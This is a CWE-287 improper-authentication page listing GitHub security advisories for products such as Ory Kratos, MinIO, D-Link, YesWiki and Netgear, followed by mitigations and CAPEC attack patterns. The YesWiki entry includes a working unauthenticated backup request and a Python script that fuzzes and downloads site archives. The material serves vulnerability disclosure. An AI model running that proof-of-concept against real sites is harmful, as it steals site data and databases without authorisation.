CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5969 vulnerabilities reference this CWE, most recent first.
GHSA-WC42-38JG-6FV2
Vulnerability from github – Published: 2022-05-02 03:12 – Updated: 2022-05-02 03:12OpenEvidence 1.0.6 and earlier does not properly check the return value from the OpenSSL EVP_VerifyFinal function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature for DSA and ECDSA keys, a similar vulnerability to CVE-2008-5077.
{
"affected": [],
"aliases": [
"CVE-2009-0048"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-01-07T18:30:00Z",
"severity": "MODERATE"
},
"details": "OpenEvidence 1.0.6 and earlier does not properly check the return value from the OpenSSL EVP_VerifyFinal function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature for DSA and ECDSA keys, a similar vulnerability to CVE-2008-5077.",
"id": "GHSA-wc42-38jg-6fv2",
"modified": "2022-05-02T03:12:32Z",
"published": "2022-05-02T03:12:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0048"
},
{
"type": "WEB",
"url": "http://www.ocert.org/advisories/ocert-2008-016.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/499827/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/0047"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WC43-73W7-X2F5
Vulnerability from github – Published: 2024-09-26 17:49 – Updated: 2024-09-26 21:11Preconditions
- The
codelogin method is enabled with thepasswordless_enabledflag set totrue. - A 2FA method such as
totpis enabled. required_aalof the whomai check or the settings flow is set tohighest_available. AAL stands for Authenticator Assurance Levels and can range from 0 (no factor) to 2 (two factors).- A user uses the
codemethod as the only login method available. They do not have a password or any other first factor credential enabled. - The user has 2FA enabled.
- The user’s
available_aalis incorrectly stored in the database asaal1oraal0orNULL. - A user signs in using the code method, but does not complete the 2FA challenge.
Example server configuration
Below you will find an vulnerable example configuration. Keep in mind that, for the account to be vulnerable, the account must have no first factor except the code method enabled plus a second factor.
selfservice:
methods:
code:
# The `code` login method is enabled with the `passwordless_enabled` flag set to `true`
passwordless_enabled: true
totp:
# 2FA method such as `totp` is enabled
enabled: true
flows:
settings:
# This is set
required_aal: highest_available
session:
whoami:
# Or this
required_aal: highest_available
Impact
Given the preconditions, the highest_available setting will incorrectly assume that the identity’s highest available AAL is aal1 even though it really is aal2. This means that the highest_available configuration will act as if the user has only one factor set up, for that particular user. This means that they can call the settings and whoami endpoint without a aal2 session, even though that should be disallowed.
An attacker would need to steal or guess a valid login OTP of a user who has only OTP for login enabled and who has an incorrect available_aal value stored, to exploit this vulnerability.
All other aspects of the session (e.g. the session’s aal) are not impacted by this issue.
On Ory Network, only 0,00066% of registered users were affected by this issue, and most of those users appeared to be test users. Their respective AAL values have since been updated and they are no longer vulnerable to this attack.
Patches
Version 1.3.0 is not affected by this issue.
Workarounds
If you require 2FA please disable the passwordless code login method. If that is not possible, check the sessions aal to identify if the user has aal1 or aal2.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/ory/kratos"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45042"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-26T17:49:17Z",
"nvd_published_at": "2024-09-26T18:15:07Z",
"severity": "MODERATE"
},
"details": "## Preconditions\n\n- The `code` login method is enabled with the `passwordless_enabled` flag set to `true` .\n- A 2FA method such as `totp` is enabled.\n- `required_aal` of the whomai check or the settings flow is set to `highest_available`. AAL stands for Authenticator Assurance Levels and can range from 0 (no factor) to 2 (two factors).\n- A user uses the `code` method as the **only** login method available. They do not have a password or any other first factor credential enabled.\n- The user has 2FA enabled.\n- The user\u2019s `available_aal` is incorrectly stored in the database as `aal1` or `aal0` or `NULL`.\n- A user signs in using the code method, but does not complete the 2FA challenge.\n\n**Example server configuration**\n\nBelow you will find an vulnerable example configuration. Keep in mind that, for the account to be vulnerable, the account must have no first factor except the `code` method enabled plus a second factor.\n\n```\nselfservice:\n methods:\n code:\n # The `code` login method is enabled with the `passwordless_enabled` flag set to `true`\n passwordless_enabled: true\n totp:\n # 2FA method such as `totp` is enabled\n enabled: true\n flows:\n settings:\n # This is set\n required_aal: highest_available\nsession:\n whoami:\n # Or this\n required_aal: highest_available\n```\n\n## Impact\n\nGiven the preconditions, the `highest_available` setting will incorrectly assume that the identity\u2019s highest available AAL is `aal1` even though it really is `aal2`. This means that the `highest_available` configuration will act as if the user has only one factor set up, for that particular user. This means that they can call the settings and whoami endpoint without a `aal2` session, even though that should be disallowed.\n\nAn attacker would need to steal or guess a valid login OTP of a user who has only OTP for login enabled and who has an incorrect `available_aal` value stored, to exploit this vulnerability.\n\nAll other aspects of the session (e.g. the session\u2019s aal) are not impacted by this issue.\n\nOn Ory Network, only 0,00066% of registered users were affected by this issue, and most of those users appeared to be test users. Their respective AAL values have since been updated and they are no longer vulnerable to this attack.\n\n### Patches\n\nVersion 1.3.0 is not affected by this issue.\n\n### Workarounds\n\nIf you require 2FA please disable the passwordless code login method. If that is not possible, check the sessions `aal` to identify if the user has `aal1` or `aal2`.",
"id": "GHSA-wc43-73w7-x2f5",
"modified": "2024-09-26T21:11:01Z",
"published": "2024-09-26T17:49:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ory/kratos/security/advisories/GHSA-wc43-73w7-x2f5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45042"
},
{
"type": "PACKAGE",
"url": "https://github.com/ory/kratos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ory Kratos\u0027s setting required_aal `highest_available` does not properly respect code + mfa credentials"
}
GHSA-WC79-7X8X-2P58
Vulnerability from github – Published: 2025-03-03 19:56 – Updated: 2025-03-03 19:56Summary
A bug in evaluating the trust of the SSH key used in an SFTP connection to MinIO allows authentication bypass and unauthorized data access.
Details
On a MinIO server with SFTP access configured and using LDAP as an external identity provider, MinIO supports SSH key based authentication for SFTP connections when the user has the sshPublicKey attribute set in their LDAP server. The server trusts the client's key only when the public key is the same as the sshPublicKey attribute.
Due to the bug, when the user has no sshPublicKey property in LDAP, the server ends up trusting the key allowing the client to perform any FTP operations allowed by the MinIO access policies associated with the LDAP user (or any of their groups).
The bug was introduced in https://github.com/minio/minio/commit/91e1487de45720753c9e9e4c02b1bd16b7e452fa.
Impact
The following requirements must be met to exploit this vulnerability:
- MinIO server must be configured to allow SFTP access and use LDAP as an external identity provider.
- Knowledge of an LDAP username that does not have the
sshPublicKeyproperty set. - Such an LDAP username or one of their groups must also have some MinIO access policy configured.
When this bug is successfully exploited, the attacker can perform any FTP operations (i.e. reading, writing, deleting and listing objects) allowed by the access policy associated with the LDAP user account (and their groups).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/minio/minio"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20240605075113-91e1487de457"
},
{
"fixed": "0.0.0-20250227184332-4c71f1b4ec0f"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27414"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-03T19:56:58Z",
"nvd_published_at": "2025-02-28T21:15:27Z",
"severity": "MODERATE"
},
"details": "### Summary\n_A bug in evaluating the trust of the SSH key used in an SFTP connection to MinIO allows authentication bypass and unauthorized data access._\n\n### Details\n\nOn a MinIO server with SFTP access configured and using LDAP as an external identity provider, MinIO supports SSH key based authentication for SFTP connections when the user has the `sshPublicKey` attribute set in their LDAP server. The server trusts the client\u0027s key only when the public key is the same as the `sshPublicKey` attribute.\n\nDue to the bug, when the user has no `sshPublicKey` property in LDAP, the server ends up trusting the key allowing the client to perform any FTP operations allowed by the MinIO access policies associated with the LDAP user (or any of their groups).\n\nThe bug was introduced in https://github.com/minio/minio/commit/91e1487de45720753c9e9e4c02b1bd16b7e452fa.\n\n### Impact\n\nThe following requirements must be met to exploit this vulnerability:\n\n1. MinIO server must be configured to allow SFTP access and use LDAP as an external identity provider.\n2. Knowledge of an LDAP username that does not have the `sshPublicKey` property set.\n3. Such an LDAP username or one of their groups must also have some MinIO access policy configured.\n\nWhen this bug is successfully exploited, the attacker can perform any FTP operations (i.e. reading, writing, deleting and listing objects) allowed by the access policy associated with the LDAP user account (and their groups).",
"id": "GHSA-wc79-7x8x-2p58",
"modified": "2025-03-03T19:56:58Z",
"published": "2025-03-03T19:56:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/minio/minio/security/advisories/GHSA-wc79-7x8x-2p58"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27414"
},
{
"type": "WEB",
"url": "https://github.com/minio/minio/commit/4c71f1b4ec0fb2a473ddaac18c20ec9e63f267ec"
},
{
"type": "WEB",
"url": "https://github.com/minio/minio/commit/91e1487de45720753c9e9e4c02b1bd16b7e452fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/minio/minio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MinIO allows an SFTP authentication bypass due to improperly trusted SSH key"
}
GHSA-WC7R-HP6Q-64M9
Vulnerability from github – Published: 2025-02-18 15:31 – Updated: 2025-02-19 18:32A vulnerability in the D-Link DIR-859 router with firmware version A3 1.05 and earlier permits unauthorized individuals to bypass the authentication. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page.
{
"affected": [],
"aliases": [
"CVE-2024-57045"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-18T15:15:16Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in the D-Link DIR-859 router with firmware version A3 1.05 and earlier permits unauthorized individuals to bypass the authentication. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page.",
"id": "GHSA-wc7r-hp6q-64m9",
"modified": "2025-02-19T18:32:20Z",
"published": "2025-02-18T15:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57045"
},
{
"type": "WEB",
"url": "https://github.com/Shuanunio/CVE_Requests/blob/main/D-Link/DIR-859/ACL%20bypass%20Vulnerability%20in%20D-Link%20DIR-859.md"
},
{
"type": "WEB",
"url": "https://www.dlink.com/en/security-bulletin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WC9G-6J9W-HR95
Vulnerability from github – Published: 2025-04-29 14:41 – Updated: 2025-04-30 17:26Summary
The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication.
The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated.
Details
Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for:
POST /?api/archives HTTP/1.1
Host: localhost:8085
action=startArchive¶ms%5Bsavefiles%5D=true¶ms%5Bsavedatabase%5D=true&callAsync=true
Then to retrieve it, make a simple GET request like to the correct URL:
http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip
A malicious attacker could simply fuzz this filename.
PoC
Here is a python script to fuzz this:
#!/usr/bin/env python3
import requests
import argparse
import datetime
import time
from urllib.parse import urljoin
from email.utils import parsedate_to_datetime
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Hardcoded proxy config for Burp Suite
BURP_PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
def send_post_request(base_url, use_proxy=False):
url = urljoin(base_url, "/?api/archives")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
}
data = {
"action": "startArchive",
"params[savefiles]": "true",
"params[savedatabase]": "true",
"callAsync": "true"
}
proxies = BURP_PROXIES if use_proxy else None
response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)
print(f"[+] Archive start response code: {response.status_code}")
server_date = response.headers.get("Date")
if server_date:
ts = parsedate_to_datetime(server_date)
print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC")
return ts
else:
print("[!] Server did not return a Date header, falling back to local UTC.")
return datetime.datetime.utcnow()
def try_download_files(base_url, timestamp, use_proxy=False):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
}
proxies = BURP_PROXIES if use_proxy else None
print("[*] Trying to download the archive with timestamp fuzzing (±10 seconds)...")
base_ts = timestamp + datetime.timedelta(hours=2)
time.sleep(30) # delay to generate the archive
for offset in range(-4, 15):
ts = base_ts + datetime.timedelta(seconds=offset)
filename = ts.strftime("%Y-%m-%dT%H-%M-%S_archive.zip")
url = urljoin(base_url, f"/?api/archives/{filename}")
print(f"[>] Trying: {url}")
r = requests.get(url, headers=headers, proxies=proxies, verify=False)
if r.status_code == 200 and r.headers.get("Content-Type", "").startswith("application/zip"):
print(f"[✓] Archive found and downloaded: {filename}")
with open(filename, "wb") as f:
f.write(r.content)
return
print("[!] No archive found within the fuzzed window.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.")
parser.add_argument("host", help="Base host URL, e.g., http://localhost:8085")
parser.add_argument("-p", "--proxy", action="store_true", help="Route requests through Burp Suite proxy at 127.0.0.1:8080")
args = parser.parse_args()
ts = send_post_request(args.host, use_proxy=args.proxy)
print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}")
try_download_files(args.host, ts, use_proxy=args.proxy)
Impact
Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives.
Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.3"
},
"package": {
"ecosystem": "Packagist",
"name": "yeswiki/yeswiki"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46348"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-29T14:41:31Z",
"nvd_published_at": "2025-04-29T21:15:52Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication. \n\nThe archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated. \n\n### Details\n\nCreate an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for: \n\n```\nPOST /?api/archives HTTP/1.1\nHost: localhost:8085\n\naction=startArchive\u0026params%5Bsavefiles%5D=true\u0026params%5Bsavedatabase%5D=true\u0026callAsync=true\n```\nThen to retrieve it, make a simple `GET` request like to the correct URL: \n```\nhttp://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip\n```\nA malicious attacker could simply fuzz this filename.\n\n### PoC\nHere is a python script to fuzz this: \n\n```\n#!/usr/bin/env python3\n\nimport requests\nimport argparse\nimport datetime\nimport time\nfrom urllib.parse import urljoin\nfrom email.utils import parsedate_to_datetime\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n# Hardcoded proxy config for Burp Suite\nBURP_PROXIES = {\n \"http\": \"http://127.0.0.1:8080\",\n \"https\": \"http://127.0.0.1:8080\"\n}\n\ndef send_post_request(base_url, use_proxy=False):\n url = urljoin(base_url, \"/?api/archives\")\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\",\n }\n\n data = {\n \"action\": \"startArchive\",\n \"params[savefiles]\": \"true\",\n \"params[savedatabase]\": \"true\",\n \"callAsync\": \"true\"\n }\n\n proxies = BURP_PROXIES if use_proxy else None\n response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False)\n print(f\"[+] Archive start response code: {response.status_code}\")\n\n server_date = response.headers.get(\"Date\")\n if server_date:\n ts = parsedate_to_datetime(server_date)\n print(f\"[\u2713] Server time (from Date header): {ts.strftime(\u0027%Y-%m-%d %H:%M:%S\u0027)} UTC\")\n return ts\n else:\n print(\"[!] Server did not return a Date header, falling back to local UTC.\")\n return datetime.datetime.utcnow()\n\ndef try_download_files(base_url, timestamp, use_proxy=False):\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36\",\n }\n\n proxies = BURP_PROXIES if use_proxy else None\n print(\"[*] Trying to download the archive with timestamp fuzzing (\u00b110 seconds)...\")\n\n base_ts = timestamp + datetime.timedelta(hours=2)\n\n time.sleep(30) # delay to generate the archive\n\n for offset in range(-4, 15):\n ts = base_ts + datetime.timedelta(seconds=offset)\n filename = ts.strftime(\"%Y-%m-%dT%H-%M-%S_archive.zip\")\n url = urljoin(base_url, f\"/?api/archives/{filename}\")\n print(f\"[\u003e] Trying: {url}\")\n r = requests.get(url, headers=headers, proxies=proxies, verify=False)\n\n if r.status_code == 200 and r.headers.get(\"Content-Type\", \"\").startswith(\"application/zip\"):\n print(f\"[\u2713] Archive found and downloaded: {filename}\")\n with open(filename, \"wb\") as f:\n f.write(r.content)\n return\n\n print(\"[!] No archive found within the fuzzed window.\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Trigger archive and fetch resulting file with timestamp fuzzing.\")\n parser.add_argument(\"host\", help=\"Base host URL, e.g., http://localhost:8085\")\n parser.add_argument(\"-p\", \"--proxy\", action=\"store_true\", help=\"Route requests through Burp Suite proxy at 127.0.0.1:8080\")\n args = parser.parse_args()\n\n ts = send_post_request(args.host, use_proxy=args.proxy)\n print(f\"[+] Archive request sent at (UTC): {ts.strftime(\u0027%Y-%m-%d %H:%M:%S\u0027)}\")\n\n try_download_files(args.host, ts, use_proxy=args.proxy)\n```\n\n### Impact\n\nDenial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives. \n\nSite Compromise - A malicious attacker can download the archive which will contain sensitive site information.",
"id": "GHSA-wc9g-6j9w-hr95",
"modified": "2025-04-30T17:26:00Z",
"published": "2025-04-29T14:41:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-wc9g-6j9w-hr95"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46348"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/0d4efc880a727599fa4f6d7a64cc967afe475530"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download"
}
GHSA-WCPP-7R83-V4GC
Vulnerability from github – Published: 2025-02-18 18:33 – Updated: 2025-02-19 15:32The administrative web interface of a Netgear C7800 Router running firmware version 6.01.07 (and possibly others) authenticates users via basic authentication, with an HTTP header containing a base64 value of the plaintext username and password. Because the web server also does not utilize transport security by default, this renders the administrative credentials vulnerable to eavesdropping by an adversary during every authenticated request made by a client to the router over a WLAN, or a LAN, should the adversary be able to perform a man-in-the-middle attack.
{
"affected": [],
"aliases": [
"CVE-2022-41545"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-319"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-18T18:15:13Z",
"severity": "CRITICAL"
},
"details": "The administrative web interface of a Netgear C7800 Router running firmware version 6.01.07 (and possibly others) authenticates users via basic authentication, with an HTTP header containing a base64 value of the plaintext username and password. Because the web server also does not utilize transport security by default, this renders the administrative credentials vulnerable to eavesdropping by an adversary during every authenticated request made by a client to the router over a WLAN, or a LAN, should the adversary be able to perform a man-in-the-middle attack.",
"id": "GHSA-wcpp-7r83-v4gc",
"modified": "2025-02-19T15:32:12Z",
"published": "2025-02-18T18:33:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41545"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2025/Feb/12"
},
{
"type": "WEB",
"url": "https://www.netgear.com/about/security"
},
{
"type": "WEB",
"url": "https://www.netgear.com/images/datasheet/networking/cablemodems/C7800.pdf"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Feb/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WCPR-6G7X-P44R
Vulnerability from github – Published: 2026-06-18 15:32 – Updated: 2026-06-19 16:59An authentication bypass vulnerability exists in the generic opaque token validation path (validateOpaqueToken) of googleapis/mcp-toolbox.
When the toolbox validates an opaque token via an OAuth 2.0 introspection endpoint (RFC 7662), it decodes the response into an introspectResp struct. However, the subsequent claim-checking logic (validateClaims) evaluates the issuer condition as if a.issuer != "" && iss != "". If the external OAuth provider's introspection response omits the optional iss (issuer) field completely, the variable iss defaults to an empty string. This causes the conditional block to evaluate to false and be skipped silently. Consequently, the application accepts tokens issued by unauthorized or unintended third-party identity providers.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/googleapis/mcp-toolbox"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-11718"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T16:59:25Z",
"nvd_published_at": "2026-06-18T14:17:20Z",
"severity": "CRITICAL"
},
"details": "An authentication bypass vulnerability exists in the generic opaque token validation path (validateOpaqueToken) of googleapis/mcp-toolbox.\n\nWhen the toolbox validates an opaque token via an OAuth 2.0 introspection endpoint (RFC 7662), it decodes the response into an introspectResp struct. However, the subsequent claim-checking logic (validateClaims) evaluates the issuer condition as if a.issuer != \"\" \u0026\u0026 iss != \"\". If the external OAuth provider\u0027s introspection response omits the optional iss (issuer) field completely, the variable iss defaults to an empty string. This causes the conditional block to evaluate to false and be skipped silently. Consequently, the application accepts tokens issued by unauthorized or unintended third-party identity providers.",
"id": "GHSA-wcpr-6g7x-p44r",
"modified": "2026-06-19T16:59:25Z",
"published": "2026-06-18T15:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11718"
},
{
"type": "WEB",
"url": "https://github.com/googleapis/mcp-toolbox/pull/3360"
},
{
"type": "PACKAGE",
"url": "https://github.com/googleapis/mcp-toolbox"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "googleapis/mcp-toolbox: authentication bypass vulnerability in the generic opaque token validation path (validateOpaqueToken)"
}
GHSA-WCWF-6V8X-JFHM
Vulnerability from github – Published: 2023-05-03 12:30 – Updated: 2023-05-03 12:30Sensitive information disclosure due to improper authentication. The following products are affected: Acronis Cyber Protect 15 (Windows, Linux) before build 29486, Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545.
{
"affected": [],
"aliases": [
"CVE-2022-30995"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-03T11:15:11Z",
"severity": "CRITICAL"
},
"details": "Sensitive information disclosure due to improper authentication. The following products are affected: Acronis Cyber Protect 15 (Windows, Linux) before build 29486, Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545.",
"id": "GHSA-wcwf-6v8x-jfhm",
"modified": "2023-05-03T12:30:40Z",
"published": "2023-05-03T12:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30995"
},
{
"type": "WEB",
"url": "https://security-advisory.acronis.com/advisories/SEC-3855"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WCWP-R3FJ-MM3P
Vulnerability from github – Published: 2022-04-30 18:12 – Updated: 2023-09-18 22:27The DTML implementation in the Z Object Publishing Environment (Zope) allows remote attackers to conduct unauthorized activities.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "zope"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"last_affected": "2.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2000-0062"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-18T22:27:55Z",
"nvd_published_at": "2000-01-04T05:00:00Z",
"severity": "HIGH"
},
"details": "The DTML implementation in the Z Object Publishing Environment (Zope) allows remote attackers to conduct unauthorized activities.",
"id": "GHSA-wcwp-r3fj-mm3p",
"modified": "2023-09-18T22:27:55Z",
"published": "2022-04-30T18:12:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2000-0062"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20010218085743/http://www.securityfocus.com/bid/922"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Zope DTML implementation Improper Authentication"
}
GHSA-WCX7-W66C-FC49
Vulnerability from github – Published: 2022-05-01 18:36 – Updated: 2022-05-01 18:36adduser.php in PHP-AGTC Membership (AGTC-Membership) System 1.1a does not require authentication, which allows remote attackers to create accounts via a modified form, as demonstrated by an account with admin (userlevel 4) privileges.
{
"affected": [],
"aliases": [
"CVE-2007-5752"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-10-31T17:46:00Z",
"severity": "HIGH"
},
"details": "adduser.php in PHP-AGTC Membership (AGTC-Membership) System 1.1a does not require authentication, which allows remote attackers to create accounts via a modified form, as demonstrated by an account with admin (userlevel 4) privileges.",
"id": "GHSA-wcx7-w66c-fc49",
"modified": "2022-05-01T18:36:33Z",
"published": "2022-05-01T18:36:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5752"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/38173"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/27430"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3326"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/482919/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/26255"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
